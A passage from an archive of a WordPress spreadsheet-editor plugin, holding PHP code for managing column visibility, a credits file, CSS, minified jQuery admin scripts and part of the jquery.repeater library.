isset( $options[ $post_type_key ][ $status ][ $column['key'] ] ) ) { $options[ $post_type_key ][ $status ][ $column['key'] ] = $column['name']; $changed = true; } } } if ( $changed ) { update_option( self::$columns_visibility_key, $options ); } } public function migrate_old_settings() { if ( (int) get_option( self::$columns_visibility_key . '_migrated' ) ) { return; } // Migrate frontend editors if ( post_type_exists( 'vgse_editors' ) ) { $frontend_editors = new WP_Query( array( 'post_type' => 'vgse_editors', 'posts_per_page' => -1, 'fields' => 'ids', ) ); foreach ( $frontend_editors->posts as $post_id ) { $old_settings = get_post_meta( $post_id, 'vgse_columns', true ); $new_settings = $this->migrate_old_settings_raw( $old_settings ); update_post_meta( $post_id, 'vgse_columns', $new_settings ); } } // Migrate sheets $old_settings = VGSE()->options; $new_settings = $this->migrate_old_settings_raw( $old_settings ); update_option( self::$columns_visibility_key, $new_settings ); update_option( self::$columns_visibility_key . '_migrated', 1 ); } public function migrate_old_settings_raw( $old_settings ) { $new_settings = array(); foreach ( $old_settings as $key => $value ) { if ( strpos( $key, 'be_visibility_' ) !== false ) { if ( isset( $value['enabled']['placebo'] ) ) { unset( $value['enabled']['placebo'] ); } if ( isset( $value['disabled']['placebo'] ) ) { unset( $value['disabled']['placebo'] ); } $new_settings[ str_replace( 'be_visibility_', '', $key ) ] = $value; } } return $new_settings; } public function save_removed_columns( $columns, $post_type ) { $removed_columns = $this->get_removed_columns( $post_type ); $removed_columns[ $post_type ] = $columns; $removed_columns[ $post_type ] = array_unique( array_filter( $removed_columns[ $post_type ] ) ); update_option( $this->removed_columns_key, $removed_columns ); } public function get_removed_columns( $post_type ) { $removed_columns = get_option( $this->removed_columns_key, array() ); if ( ! is_array( $removed_columns ) ) { $removed_columns = array(); } if ( ! isset( $removed_columns[ $post_type ] ) ) { $removed_columns[ $post_type ] = array(); } return $removed_columns; } public function blacklist_removed_columns( $blacklisted_columns, $post_type ) { $removed_columns = $this->get_removed_columns( $post_type ); foreach ( $removed_columns[ $post_type ] as $removed_column_key ) { $blacklisted_columns[] = '^' . preg_quote($removed_column_key, '/') . '$'; } return $blacklisted_columns; } /** * Remove column */ public function restore_columns() { if ( empty( $_POST['post_type'] ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to execute this action.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_POST['post_type'] ); $this->save_removed_columns( array(), $post_type ); wp_send_json_success( array( 'message' => __( 'Columns restored successfully, please reload the page to see the restored columns and enable them', 'vg_sheet_editor' ) ) ); } public function remove_column() { if ( empty( $_POST['post_type'] ) || empty( $_POST['column_key'] ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_manage_options() ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to execute this action.', 'vg_sheet_editor' ) ) ); } $post_type = VGSE()->helpers->sanitize_table_key( $_POST['post_type'] ); $removed_columns = $this->get_removed_columns( $post_type ); if ( is_string( $_POST['column_key'] ) ) { $column_keys = array( sanitize_text_field( $_POST['column_key'] ) ); } else { $column_keys = array_map( 'sanitize_text_field', $_POST['column_key'] ); } foreach ( $column_keys as $column_key ) { $removed_columns[ $post_type ][] = $column_key; } $this->save_removed_columns( $removed_columns[ $post_type ], $post_type ); wp_send_json_success(); } /** * Save modified settings */ public function update_columns_settings() { if ( ! empty( $_POST['extra_data'] ) ) { // When we render the form in the spreadsheet editor, we send the form data as JSON in extra_data because some servers have low limits for form post fields $_POST = array_merge( $_POST, json_decode( html_entity_decode( wp_unslash( $_POST['extra_data'] ) ), true ) ); unset( $_POST['extra_data'] ); } // Sanitize every field $post_type = VGSE()->helpers->sanitize_table_key( $_POST['post_type'] ); $columns_keys = isset( $_POST['columns'] ) ? array_map( 'sanitize_text_field', $_POST['columns'] ) : array(); $columns_names = isset( $_POST['columns_names'] ) ? array_map( 'sanitize_text_field', $_POST['columns_names'] ) : array(); $disallowed_columns = isset( $_POST['disallowed_columns'] ) ? array_map( 'sanitize_text_field', $_POST['disallowed_columns'] ) : array(); $disallowed_columns_names = isset( $_POST['disallowed_columns_names'] ) ? array_map( 'sanitize_text_field', $_POST['disallowed_columns_names'] ) : array(); if ( empty( $post_type ) || empty( $columns_keys ) ) { wp_send_json_error( array( 'message' => __( 'Missing parameters.', 'vg_sheet_editor' ) ) ); } if ( ! VGSE()->helpers->verify_nonce_from_request() || ! VGSE()->helpers->user_can_edit_post_type( $post_type ) ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to view this page.', 'vg_sheet_editor' ) ) ); } $options = self::get_visibility_options(); remove_filter( 'vg_sheet_editor/columns/all_items', array( 'WP_Sheet_Editor_Columns_Visibility', 'filter_columns_for_visibility' ), 9999 ); $post_type_columns = VGSE()->helpers->get_unfiltered_provider_columns( $post_type ); add_filter( 'vg_sheet_editor/columns/all_items', array( 'WP_Sheet_Editor_Columns_Visibility', 'filter_columns_for_visibility' ), 9999 ); $new_columns = array( 'enabled' => array(), 'disabled' => array(), ); foreach ( $columns_keys as $column_index => $column_key ) { $new_columns['enabled'][ $column_key ] = ( ! empty( $columns_names[ $column_index ] ) ) ? $columns_names[ $column_index ] : $column_key; } // Save all the registered columns not found in the enabled list as disabled foreach ( $post_type_columns as $key => $existing_column ) { if ( isset( $new_columns['enabled'][ $key ] ) ) { continue; } $new_columns['disabled'][ $key ] = $existing_column['title']; } // Edge case. Sometimes get_provider_columns() doesn't show some columns // so we save the disabled columns received from the request in addition to the above if ( ! empty( $disallowed_columns ) ) { foreach ( $disallowed_columns as $column_index => $column_key ) { if ( ! isset( $new_columns['disabled'][ $column_key ] ) ) { $new_columns['disabled'][ $column_key ] = ( ! empty( $disallowed_columns_names[ $column_index ] ) ) ? $disallowed_columns_names[ $column_index ] : $column_key; } } } $options[ $post_type ] = $new_columns; update_option( self::$columns_visibility_key, $options, false ); do_action( 'vg_sheet_editor/columns_visibility/after_options_saved', $post_type, $options ); wp_send_json_success( array( 'post_type_editor_url' => VGSE()->helpers->get_editor_url( $post_type ), ) ); } /** * Enqueue frontend assets */ public function enqueue_assets() { wp_enqueue_script( 'wp-sheet-editor-sortable', plugins_url( '/assets/vendor/Sortable/Sortable.min.js', __FILE__ ), array( 'jquery' ), VGSE()->version ); wp_enqueue_script( 'wp-sheet-editor-columns-visibility-modal', plugins_url( '/assets/js/init.js', __FILE__ ), array( 'wp-sheet-editor-sortable' ), VGSE()->version ); } public function ajax_load_columns_manager_content() { if ( ! isset( $_GET['is_editor_page'] ) || empty( $_GET['post_type'] ) || ! VGSE()->helpers->verify_nonce_from_request() ) { wp_send_json_error( array( 'message' => __( 'You dont have enough permissions to execute this action.', 'vg_sheet_editor' ) ) ); } $post_type = sanitize_text_field( $_GET['post_type'] ); if ( ! empty( $_GET['is_editor_page'] ) ) { add_filter( 'vg_sheet_editor/is_editor_page', '__return_true' ); } ob_start(); $this->render_settings_modal( $post_type ); $html = ob_get_clean(); wp_send_json_success( array( 'html' => $html ) ); } /** * Render modal html * @param str $post_type */ public function render_lazy_settings_modal( $post_type ) { $random_id = rand(); include __DIR__ . '/views/lazy-form.php'; } public function render_settings_modal( $post_type, $partial_form = false, $options = null, $current_url = null, $visible_columns = null ) { $nonce = wp_create_nonce( 'bep-nonce' ); $random_id = rand(); // disable columns visibility filter temporarily $columns = VGSE()->helpers->get_unfiltered_provider_columns( $post_type ); $filtered_columns = wp_list_filter( $columns, array( 'allow_to_hide' => true, ) ); $not_allowed_columns = apply_filters( 'vg_sheet_editor/columns_visibility/not_allowed_columns', array_keys( wp_list_filter( $columns, array( 'allow_to_hide' => false, ) ) ) ); if ( ! $visible_columns ) { $visible_columns = VGSE()->helpers->get_provider_columns( $post_type ); } if ( ! $options ) { $options = self::get_visibility_options(); } if ( empty( $options[ $post_type ] ) ) { $options[ $post_type ] = array(); } if ( empty( $options[ $post_type ]['enabled'] ) ) { $options[ $post_type ]['enabled'] = wp_list_pluck( $filtered_columns, 'title', 'key' ); } // When we use the columns manager and switch between groups, // the saved columns might not include all the current columns so some columns // might not appear in the enabled nor disabled lists. Force them to appear at least as disabled. foreach ( $filtered_columns as $column_key => $column_settings ) { if ( ! isset( $visible_columns[ $column_key ] ) ) { $options[ $post_type ]['disabled'][ $column_key ] = $column_settings; } } $editor = VGSE()->helpers->get_provider_editor( $post_type ); include __DIR__ . '/views/form.php'; } /** * Register toolbar item to edit columns visibility live on the spreadsheet */ public function register_toolbar_items( $editor ) { if ( ! is_admin() ) { return; } $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { $editor->args['toolbars']->register_item( 'visibility_settings', array( 'type' => 'button', 'allow_in_frontend' => false, 'content' => __( 'Hide / Display / Sort columns', 'vg_sheet_editor' ), 'icon' => 'fa fa-sort', 'toolbar_key' => 'secondary', 'extra_html_attributes' => 'data-remodal-target="modal-columns-visibility"', 'parent' => 'settings', 'footer_callback' => array( $this, 'render_lazy_settings_modal' ), ), $post_type ); } } /** * Filter columns, remove the columns that were marked as hidden in the options page. * @param array $columns * @return array */ static function filter_columns_for_visibility( $columns, $options = null ) { if ( VGSE()->helpers->is_settings_page() ) { return $columns; } // Filter by required capabilities before they're added to the $unfiltered_columns if( method_exists('WP_Sheet_Editor_Columns', '_filter_by_require_capabilities')){ $columns = WP_Sheet_Editor_Columns::_filter_by_require_capabilities( $columns ); } self::$unfiltered_columns = array_merge( $columns, self::$unfiltered_columns ); if ( ! defined( 'WPSE_ONLY_EXPLICITLY_ENABLED_COLUMNS' ) && ! empty( VGSE()->options['dont_auto_enable_new_fields'] ) ) { define( 'WPSE_ONLY_EXPLICITLY_ENABLED_COLUMNS', true ); } if ( ! $options ) { $options = self::get_visibility_options(); } $current_post_type = VGSE()->helpers->get_provider_from_query_string(); $custom_enabled_columns_keys = ( ! empty( $_REQUEST['custom_enabled_columns'] ) ) ? array_filter( array_map( 'sanitize_text_field', explode( ',', $_REQUEST['custom_enabled_columns'] ) ) ) : array(); $sorted_columns = array(); foreach ( $columns as $post_type_key => $post_type ) { $settings = array(); if ( isset( $options[ $post_type_key ] ) ) { $settings = $options[ $post_type_key ]; } if ( ! isset( $sorted_columns[ $post_type_key ] ) ) { $sorted_columns[ $post_type_key ] = array(); } // If zero columns are enabled, enable all if ( empty( $settings ) || empty( $settings['enabled'] ) ) { $sorted_columns[ $post_type_key ] = $post_type; } if ( empty( $settings['enabled'] ) ) { $settings['enabled'] = array(); } if ( empty( $settings['disabled'] ) ) { $settings['disabled'] = array(); } // If the request contains the parameter "custom_enabled_columns" and "post type", we use that // instead of the saved settings if ( $post_type_key === $current_post_type && ! empty( $custom_enabled_columns_keys ) ) { // If the user is not administrator, he can send "custom enabled columns" parameter in the URL // but only to hide columns, not enable hidden columns. if ( ! VGSE()->helpers->user_can_manage_options() ) { $all_enabled_columns = ( ! empty( $settings['enabled'] ) ) ? $settings['enabled'] : wp_list_pluck( $post_type, 'key', 'key' ); $custom_enabled_columns_keys = array_intersect( $custom_enabled_columns_keys, array_keys( $all_enabled_columns ) ); } // If we received custom columns but zero columns are allowed, just use the ID to avoid returning all columns if ( empty( $custom_enabled_columns_keys ) ) { $custom_enabled_columns_keys = array( 'ID' ); } $sorted_columns[ $post_type_key ] = array(); $all_settings_columns = ( empty( $settings['enabled'] ) && empty( $settings['disabled'] ) ) ? wp_list_pluck( $post_type, 'key', 'key' ) : array_merge( $settings['enabled'], $settings['disabled'] ); $settings['enabled'] = array_combine( $custom_enabled_columns_keys, $custom_enabled_columns_keys ); $settings['disabled'] = array_diff( $all_settings_columns, $settings['enabled'] ); } foreach ( $settings['enabled'] as $key => $enabled_column_label ) { if ( ! isset( $post_type[ $key ] ) ) { continue; } $sorted_columns[ $post_type_key ][ $key ] = $post_type[ $key ]; } $disallow_to_hide = wp_list_filter( $post_type, array( 'allow_to_hide' => false, ) ); $sorted_columns[ $post_type_key ] = array_merge( $disallow_to_hide, $sorted_columns[ $post_type_key ] ); // Show columns that were added after the // columns visibility was saved, we hide columns that were // hidden explicitely only if ( ! defined( 'WPSE_ONLY_EXPLICITLY_ENABLED_COLUMNS' ) || ! WPSE_ONLY_EXPLICITLY_ENABLED_COLUMNS ) { $columns_sorted = ( count( $settings ) > 1 ) ? array_merge( $settings['enabled'], $settings['disabled'] ) : current( $settings ); foreach ( $post_type as $key => $column ) { if ( ! isset( $columns_sorted[ $key ] ) ) { $sorted_columns[ $post_type_key ][ $key ] = $column; } } } } return $sorted_columns; } public function __set( $name, $value ) { $this->$name = $value; } public function __get( $name ) { return $this->$name; } } add_action( 'vg_sheet_editor/initialized', 'vgse_columns_visibility_init' ); function vgse_columns_visibility_init() { WP_Sheet_Editor_Columns_Visibility::get_instance(); } } modules/columns-visibility/credits.txt000064400000000336147600365160014271 0ustar00This plugin uses the following open source packages: - Sortable by RubaXa License: https://github.com/RubaXa/Sortable#mit-license Thank you so much to the authors of those packages for releasing them as open source.modules/columns-visibility/index.php000064400000000000147600365160013677 0ustar00modules/custom-columns/assets/css/styles.css000064400000001307147600365160015344 0ustar00.custom-columns-page-content label + input[type="text"], .custom-columns-page-content label + select, .custom-columns-page-content label + input[type="number"] { display: block; } .custom-columns-page-content input[type="number"], .custom-columns-page-content input[type="text"], .custom-columns-page-content select { width: 100%; } .custom-columns-page-content { max-width: 500px; margin: 0 auto; } .custom-columns-page-content .field-container { margin-bottom: 15px; } .column-wrapper { margin-bottom: 30px; padding-bottom: 10px; border-bottom: 1px solid; } h3.column-title { margin: 10px; } .mode { margin: 40px 0; } .column-fields-wrapper { height: auto !important; }modules/custom-columns/assets/js/init.js000064400000015004147600365160014433 0ustar00jQuery(document).ready(function(){if(!jQuery(".custom-columns-page-content").length)return!0;function s(e){e=e||jQuery(".column-wrapper"),$name=e.find(".name-field"),e.find(".column-title").length||e.prepend('

    '),e.find(".column-title .text").text($name.val())}jQuery(".select2").select2({tags:!0,selectOnBlur:!0}),jQuery("body").append('
    '),jQuery(".column-wrapper").each(function(){s(jQuery(this))}),jQuery("body").on("change",".column-wrapper .name-field",function(){var e=jQuery(this).parents(".column-wrapper");s(e);var t=e.find(".key-field"),i=e.find(".name-field");if(!t.val()&&i.val()){var n=i.val();n=n.replace(/(\d+)/gi,"").replace(/(\s+)/gi,"_").replace(/[^a-z\_]/gi,"_").toLowerCase(),t.val(n)}}),jQuery("body").on("click",".column-title",function(){jQuery(this).parents(".column-wrapper").find(".column-fields-wrapper").slideToggle()}),$columnTitles=jQuery(".column-title"),1<$columnTitles.length&&$columnTitles.trigger("click"),jQuery("body").on("click",".add-column",function(){jQuery(this).parents("form").find(".column-wrapper:not(:last)").find(".column-fields-wrapper:visible").each(function(){var e=jQuery(this);e.find(".name-field").val()&&e.slideToggle()}),jQuery(".mode-field").trigger("change"),jQuery(this).parents("form").find(".column-wrapper:last").find(".column-title .text").text(""),jQuery(".select2").select2({tags:!0,selectOnBlur:!0})}),jQuery(".repeater").repeater({initEmpty:!1,defaultValues:vg_sheet_editor_custom_columns.default_values,show:function(){jQuery(this).slideDown(),jQuery(this).find(".select2-container").remove(),jQuery(this).find("select.select2").select2({tags:!0,selectOnBlur:!0})},hide:function(e){confirm(vg_sheet_editor_custom_columns.texts.confirm_delete)&&jQuery(this).slideUp(e)},ready:function(e){},isFirstItemUndeletable:!1}),jQuery(".save").on("click",function(e){e.preventDefault(),loading_ajax({estado:!0});var t=jQuery(this).parents("form");jQuery.post(t.attr("action"),t.serializeArray(),function(e){loading_ajax({estado:!1}),notification({tipo:e.success?"success":"error",mensaje:e.data})})}),jQuery(".mode-field").on("change",function(){var n=jQuery(this);["read-only","formulas","hide","rename","cell-type","plain-renderer","formatted-renderer","width","data-source"].forEach(function(e,t){var i=".field-container-"+e;n.is(":checked")?jQuery(i).show():jQuery(i).hide()})}),jQuery(".mode-field").trigger("change")}),jQuery(document).ready(function(){if("undefined"==typeof hot||!jQuery(".modal-columns-visibility").length||!vgse_editor_settings.is_administrator)return!0;var e=hot.getSettings().contextMenu;void 0===e.items&&(e.items={}),e.items.wpse_rename_meta_key={name:vgse_editor_settings.texts.edit_meta_key,hidden:function(){if(!hot.getSelected())return!0;var e=hot.colToProp(hot.getSelected()[0][1]),t=vgse_editor_settings.final_spreadsheet_columns_settings[e];return!vgse_editor_settings.is_administrator||!t||"meta_data"!==t.data_type||t.serialized_field_settings},callback:function(e,t,i){!function(e){var t=prompt(vgse_editor_settings.texts.edit_meta_key,e);t&&t!==e?(loading_ajax(!0),jQuery.post(vgse_global_data.ajax_url,{action:"vgse_rename_meta_key",nonce:jQuery("#vgse-wrapper").data("nonce"),post_type:vgse_editor_settings.post_type,old_column_key:e,new_column_key:t},function(e){if(loading_ajax(!1),e.success){notification({mensaje:e.data.message});var t=vgse_editor_settings.texts.confirm_column_reload_page.replace("{columns}",e.data.key);confirm(t)&&(window.location.href=jQuery(".wpse-scan-db-link").attr("href")+"&wpse_dont_increase_limit=1")}else notification({mensaje:e.data.message,tipo:"error",tiempo:6e4})})):notification({mensaje:vgse_editor_settings.texts.new_value_empty_or_equal,tipo:"error",tiempo:1e4})}(hot.colToProp(t[0].start.col))}},e.items.wpse_delete_meta_key={name:vgse_editor_settings.texts.delete_meta_key,hidden:function(){if(!hot.getSelected())return!0;var e=hot.colToProp(hot.getSelected()[0][1]),t=vgse_editor_settings.final_spreadsheet_columns_settings[e];return!vgse_editor_settings.is_administrator||!t||"meta_data"!==t.data_type||t.serialized_field_settings||!t.allow_to_hide},callback:function(e,t,i){if(!confirm(vgse_editor_settings.texts.delete_meta_key_confirmation))return!0;vgseColumnsVisibilityInit();var s=[];t.forEach(function(e){for(var t=e.start.col>e.end.col?e.end.col:e.start.col,i=e.start.col>e.end.col?e.start.col:e.end.col,n=t;n<=i;n++)s.push(hot.colToProp(n))}),loading_ajax(!0),jQuery.post(vgse_global_data.ajax_url,{action:"vgse_delete_meta_key",nonce:jQuery("#vgse-wrapper").data("nonce"),post_type:vgse_editor_settings.post_type,column_key:s},function(e){if(loading_ajax(!1),e.success){notification({mensaje:e.data.message});var t=jQuery(".modal-columns-visibility");s.forEach(function(e){t.find('.columns-enabled .js-column-key[value="'+e+'"]').parent("li").appendTo(t.find(".columns-disabled"))}),t.find(".save_post_type_settings").prop("checked",!0),t.find("form").submit()}else notification({mensaje:e.data.message,tipo:"error",tiempo:6e4})})}},e.items.wpse_delete_serialized_meta_key={name:vgse_editor_settings.texts.delete_serialized_meta_key,hidden:function(){if(!hot.getSelected())return!0;var e=hot.colToProp(hot.getSelected()[0][1]),t=vgse_editor_settings.final_spreadsheet_columns_settings[e];return!(vgse_editor_settings.is_administrator&&t&&"meta_data"===t.data_type&&t.serialized_field_original_key&&t.allow_to_hide)},callback:function(e,t,i){if(!confirm(vgse_editor_settings.texts.delete_serialized_meta_key_confirmation))return!0;vgseColumnsVisibilityInit();var n=hot.colToProp(t[0].start.col),s=vgse_editor_settings.final_spreadsheet_columns_settings[n].serialized_field_original_key;loading_ajax(!0),jQuery.post(vgse_global_data.ajax_url,{action:"vgse_delete_meta_key",nonce:jQuery("#vgse-wrapper").data("nonce"),post_type:vgse_editor_settings.post_type,column_key:s},function(e){if(loading_ajax(!1),e.success){notification({mensaje:e.data.message});var t=jQuery(".modal-columns-visibility"),i=[];for(var n in vgse_editor_settings.final_spreadsheet_columns_settings){if(Object.hasOwnProperty.call(vgse_editor_settings.final_spreadsheet_columns_settings,n))if(vgse_editor_settings.final_spreadsheet_columns_settings[n].serialized_field_original_key===s)t.find('.columns-enabled .js-column-key[value="'+n+'"]').parent("li").appendTo(t.find(".columns-disabled")),i.push(n)}i.length&&(t.find(".save_post_type_settings").prop("checked",!0),t.find("form").submit())}else notification({mensaje:e.data.message,tipo:"error",tiempo:6e4})})}},hot.updateSettings({contextMenu:e})});modules/custom-columns/assets/vendor/jquery.repeater/jquery.repeater.min.js000064400000026547147600365160023423 0ustar00;;;// jquery.repeater version 1.2.1 // https://github.com/DubFriend/jquery.repeater // (MIT) 09-10-2016 // Brian Detering (http://www.briandetering.net/) !function(a){"use strict"; var b = function(a){return a}, c = function(b){return a.isArray(b)}, d = function(a){return!c(a) && a instanceof Object}, e = function(b, c){return a.inArray(c, b)}, f = function(a, b){return e(a, b) !== - 1}, g = function(a, b){for (var c in a)a.hasOwnProperty(c) && b(a[c], c, a)}, h = function(a){return a[a.length - 1]}, i = function(a){return Array.prototype.slice.call(a)}, j = function(){var a = {}; return g(i(arguments), function(b){g(b, function(b, c){a[c] = b})}), a}, k = function(a, b){var c = []; return g(a, function(a, d, e){c.push(b(a, d, e))}), c}, l = function(a, b, c){var d = {}; return g(a, function(a, e, f){e = c?c(e, a):e, d[e] = b(a, e, f)}), d}, m = function(a, b, d){return c(a)?k(a, b):l(a, b, d)}, n = function(a, b){return m(a, function(a){return a[b]})}, o = function(a, b){var d; return c(a)?(d = [], g(a, function(a, c, e){b(a, c, e) && d.push(a)})):(d = {}, g(a, function(a, c, e){b(a, c, e) && (d[c] = a)})), d}, p = function(a, b, c){return m(a, function(a, d){return a[b].apply(a, c || [])})}, q = function(a){a = a || {}; var b = {}; return a.publish = function(a, c){g(b[a], function(a){a(c)})}, a.subscribe = function(a, c){b[a] = b[a] || [], b[a].push(c)}, a.unsubscribe = function(a){g(b, function(b){var c = e(b, a); c !== - 1 && b.splice(c, 1)})}, a}; !function(a){var b = function(a, b){var c = q(), d = a.$; return c.getType = function(){throw'implement me (return type. "text", "radio", etc.)'}, c.$ = function(a){return a?d.find(a):d}, c.disable = function(){c.$().prop("disabled", !0), c.publish("isEnabled", !1)}, c.enable = function(){c.$().prop("disabled", !1), c.publish("isEnabled", !0)}, b.equalTo = function(a, b){return a === b}, b.publishChange = function(){var a; return function(d, e){var f = c.get(); b.equalTo(f, a) || c.publish("change", {e:d, domElement:e}), a = f}}(), c}, i = function(a, c){var d = b(a, c); return d.get = function(){return d.$().val()}, d.set = function(a){d.$().val(a)}, d.clear = function(){d.set("")}, c.buildSetter = function(a){return function(b){a.call(d, b)}}, d}, j = function(a, b){a = c(a)?a:[a], b = c(b)?b:[b]; var d = !0; return a.length !== b.length?d = !1:g(a, function(a){f(b, a) || (d = !1)}), d}, k = function(a){var b = {}, c = i(a, b); return c.getType = function(){return"button"}, c.$().on("change", function(a){b.publishChange(a, this)}), c}, l = function(b){var d = {}, e = i(b, d); return e.getType = function(){return"checkbox"}, e.get = function(){var b = []; return e.$().filter(":checked").each(function(){b.push(a(this).val())}), b}, e.set = function(b){b = c(b)?b:[b], e.$().each(function(){a(this).prop("checked", !1)}), g(b, function(a){e.$().filter('[value="' + a + '"]').prop("checked", !0)})}, d.equalTo = j, e.$().change(function(a){d.publishChange(a, this)}), e}, m = function(a){var b = {}, c = x(a, b); return c.getType = function(){return"email"}, c}, n = function(c){var d = {}, e = b(c, d); return e.getType = function(){return"file"}, e.get = function(){return h(e.$().val().split("\\"))}, e.clear = function(){this.$().each(function(){a(this).wrap("
    ").closest("form").get(0).reset(), a(this).unwrap()})}, e.$().change(function(a){d.publishChange(a, this)}), e}, o = function(a){var b = {}, c = i(a, b); return c.getType = function(){return"hidden"}, c.$().change(function(a){b.publishChange(a, this)}), c}, r = function(c){var d = {}, e = b(c, d); return e.getType = function(){return"file[multiple]"}, e.get = function(){var a, b = e.$().get(0).files || [], c = []; for (a = 0; a < (b.length || 0); a += 1)c.push(b[a].name); return c}, e.clear = function(){this.$().each(function(){a(this).wrap("").closest("form").get(0).reset(), a(this).unwrap()})}, e.$().change(function(a){d.publishChange(a, this)}), e}, s = function(a){var b = {}, d = i(a, b); return d.getType = function(){return"select[multiple]"}, d.get = function(){return d.$().val() || []}, d.set = function(a){d.$().val("" === a?[]:c(a)?a:[a])}, b.equalTo = j, d.$().change(function(a){b.publishChange(a, this)}), d}, t = function(a){var b = {}, c = x(a, b); return c.getType = function(){return"password"}, c}, u = function(b){var c = {}, d = i(b, c); return d.getType = function(){return"radio"}, d.get = function(){return d.$().filter(":checked").val() || null}, d.set = function(b){b?d.$().filter('[value="' + b + '"]').prop("checked", !0):d.$().each(function(){a(this).prop("checked", !1)})}, d.$().change(function(a){c.publishChange(a, this)}), d}, v = function(a){var b = {}, c = i(a, b); return c.getType = function(){return"range"}, c.$().change(function(a){b.publishChange(a, this)}), c}, w = function(a){var b = {}, c = i(a, b); return c.getType = function(){return"select"}, c.$().change(function(a){b.publishChange(a, this)}), c}, x = function(a){var b = {}, c = i(a, b); return c.getType = function(){return"text"}, c.$().on("change keyup keydown", function(a){b.publishChange(a, this)}), c}, y = function(a){var b = {}, c = i(a, b); return c.getType = function(){return"textarea"}, c.$().on("change keyup keydown", function(a){b.publishChange(a, this)}), c}, z = function(a){var b = {}, c = x(a, b); return c.getType = function(){return"url"}, c}, A = function(b){var c = {}, f = b.$, h = b.constructorOverride || {button:k, text:x, url:z, email:m, password:t, range:v, textarea:y, select:w, "select[multiple]":s, radio:u, checkbox:l, file:n, "file[multiple]":r, hidden:o}, i = function(b, e){var g = d(e)?e:f.find(e); g.each(function(){var d = a(this).attr("name"); c[d] = h[b]({$:a(this)})})}, j = function(b, i){var j = [], k = d(i)?i:f.find(i); d(i)?c[k.attr("name")] = h[b]({$:k}):(k.each(function(){e(j, a(this).attr("name")) === - 1 && j.push(a(this).attr("name"))}), g(j, function(a){c[a] = h[b]({$:f.find('input[name="' + a + '"]')})}))}; return f.is("input, select, textarea")?f.is('input[type="button"], button, input[type="submit"]')?i("button", f):f.is("textarea")?i("textarea", f):f.is('input[type="text"]') || f.is("input") && !f.attr("type")?i("text", f):f.is('input[type="password"]')?i("password", f):f.is('input[type="email"]')?i("email", f):f.is('input[type="url"]')?i("url", f):f.is('input[type="range"]')?i("range", f):f.is("select")?f.is("[multiple]")?i("select[multiple]", f):i("select", f):f.is('input[type="file"]')?f.is("[multiple]")?i("file[multiple]", f):i("file", f):f.is('input[type="hidden"]')?i("hidden", f):f.is('input[type="radio"]')?j("radio", f):f.is('input[type="checkbox"]')?j("checkbox", f):i("text", f):(i("button", 'input[type="button"], button, input[type="submit"]'), i("text", 'input[type="text"]'), i("password", 'input[type="password"]'), i("email", 'input[type="email"]'), i("url", 'input[type="url"]'), i("range", 'input[type="range"]'), i("textarea", "textarea"), i("select", "select:not([multiple])"), i("select[multiple]", "select[multiple]"), i("file", 'input[type="file"]:not([multiple])'), i("file[multiple]", 'input[type="file"][multiple]'), i("hidden", 'input[type="hidden"]'), j("radio", 'input[type="radio"]'), j("checkbox", 'input[type="checkbox"]')), c}; a.fn.inputVal = function(b){var c = a(this), d = A({$:c}); return c.is("input, textarea, select")?"undefined" == typeof b?d[c.attr("name")].get():(d[c.attr("name")].set(b), c):"undefined" == typeof b?p(d, "get"):(g(b, function(a, b){d[b].set(a)}), c)}, a.fn.inputOnChange = function(b){var c = a(this), d = A({$:c}); return g(d, function(a){a.subscribe("change", function(a){b.call(a.domElement, a.e)})}), c}, a.fn.inputDisable = function(){var b = a(this); return p(A({$:b}), "disable"), b}, a.fn.inputEnable = function(){var b = a(this); return p(A({$:b}), "enable"), b}, a.fn.inputClear = function(){var b = a(this); return p(A({$:b}), "clear"), b}}(jQuery), a.fn.repeaterVal = function(){var b = function(a){var b = []; return g(a, function(a, c){var d = []; "undefined" !== c && (d.push(c.match(/^[^\[]*/)[0]), d = d.concat(m(c.match(/\[[^\]]*\]/g), function(a){return a.replace(/[\[\]]/g, "")})), b.push({val:a, key:d}))}), b}, c = function(a){if (1 === a.length && (0 === a[0].key.length || 1 === a[0].key.length && !a[0].key[0]))return a[0].val; g(a, function(a){a.head = a.key.shift()}); var b, d = function(){var b = {}; return g(a, function(a){b[a.head] || (b[a.head] = []), b[a.head].push(a)}), b}(); return/^[0-9]+$/.test(a[0].head)?(b = [], g(d, function(a){b.push(c(a))})):(b = {}, g(d, function(a, d){b[d] = c(a)})), b}; return c(b(a(this).inputVal()))}, a.fn.repeater = function(c){c = c || {}; var d; return a(this).each(function(){var e = a(this), f = c.show || function(){a(this).show()}, i = c.hide || function(a){a()}, k = e.find("[data-repeater-list]").first(), l = function(b, c){return b.filter(function(){return!c || 0 === a(this).closest(n(c, "selector").join(",")).length})}, p = function(){return l(k.find("[data-repeater-item]"), c.repeaters)}, q = k.find("[data-repeater-item]").first().clone().hide(), r = l(l(a(this).find("[data-repeater-item]"), c.repeaters).first().find("[data-repeater-delete]"), c.repeaters); c.isFirstItemUndeletable && r && r.remove(); var s = function(){var a = k.data("repeater-list"); return c.$parent?c.$parent.data("item-name") + "[" + a + "]":a}, t = function(b){c.repeaters && b.each(function(){var b = a(this); g(c.repeaters, function(a){b.find(a.selector).repeater(j(a, {$parent:b}))})})}, u = function(a, b, c){a && g(a, function(a){c.call(b.find(a.selector)[0], a)})}, v = function(b, c, d){b.each(function(b){var e = a(this); e.data("item-name", c + "[" + b + "]"), l(e.find("[name]"), d).each(function(){var f = a(this), g = f.attr("name").match(/\[[^\]]+\]/g), i = g?h(g).replace(/\[|\]/g, ""):f.attr("name"), j = c + "[" + b + "][" + i + "]" + (f.is(":checkbox") || f.attr("multiple")?"[]":""); f.attr("name", j), u(d, e, function(d){var e = a(this); v(l(e.find("[data-repeater-item]"), d.repeaters || []), c + "[" + b + "][" + e.find("[data-repeater-list]").first().data("repeater-list") + "]", d.repeaters)})})}), k.find("input[name][checked]").removeAttr("checked").prop("checked", !0)}; v(p(), s(), c.repeaters), t(p()), c.initEmpty && p().remove(), c.ready && c.ready(function(){v(p(), s(), 